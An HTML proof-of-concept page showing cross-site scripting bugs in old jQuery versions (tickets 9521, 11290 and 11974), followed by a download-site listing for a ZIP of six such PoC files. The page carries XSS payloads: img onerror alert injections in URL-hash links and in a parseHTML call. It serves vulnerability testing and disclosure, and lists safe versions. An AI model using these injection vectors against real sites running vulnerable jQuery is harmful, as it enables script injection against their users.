<!DOCTYPE html>
<html lang="zh">
<!-- Resource: https://www.cnblogs.com/endust/p/12004160.html -->
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>jQuery-11290_and_9521_xssPOC</title>
<script type="text/javascript" src="https://precms.shhzcj.com/media/js/jquery-1.10.1.min.js"></script>
<script>
$(function () {
// #11290 and #9521
$(location.hash);
// #11974
$('#bug').on('click', function () {
$.parseHTML("<img src='z' onerror='alert(\"bug-11974, afei_come\")'>");
return false;
});
})
</script>
</head>
<body>
<h1>jQuery with XSS</h1>
<h2>Demo：</h2>
<p style="color:red;">Note: Source code changes jQuery version，As long as there is no bullet window, there will be no problem.！</p>
<ul>
<li><a href="#<img src=/ onerror=alert(1)>" target="_blank">bug-9521</a> => <a
href="https://bugs.jquery.com/ticket/9521" target="_blank">ticket</a></li>
<li><a href="#p[class='<img src=/ onerror=alert(2)>']" target="_blank">bug-11290</a> => <a
href="https://bugs.jquery.com/ticket/11290" target="_blank">ticket</a></li>
<li><a href="#11974" id="bug">bug-11974</a> => <a href="https://bugs.jquery.com/ticket/11974"
target="_blank">ticket </a></li>
</ul>
<h2>Test version：</h2>
<ul>
<li><a href="http://research.insecurelabs.org/jquery/test/" target="_blank">test result</a></li>
</ul>
<h2>Safe version：</h2>
<ul>
<li>1.12.0, 1.12.1 </li>
<li>2.2.0, 2.2.1</li>
<li>3.0.0, 3.0.1, 3.1.0, 3.1.1</li>
</ul>
</body>
</html>
jQuery xss POC汇总
版权申诉
5星 · 超过95%的资源 22 浏览量
2023-02-13
22:04:56
上传
评论
收藏 4KB ZIP 举报 
jQuery_xss_POC.zip （6个子文件） 
jQuery_xss_POC 
jQuery-CVE-2015-9521.html 1KB jQuery-11290_and_9521_xssPOC.html 2KB jQuery-11290_xssPOC.html 364B jQuery-2432_xssPOC.html 351B jQuery-9521_xssPOC.html 282B jQuery(CVE-2020-11022CVE-2020-11023)_xssPOC.html 2KB资源评论
维轮2023-03-30终于找到了超赞的宝藏资源，果断冲冲冲，支持！
afei00123
- 粉丝: 1831
- 资源: 31
下载权益
C知道特权
VIP文章
课程特权
VIP享7折，此内容立减3.57元 开通VIP
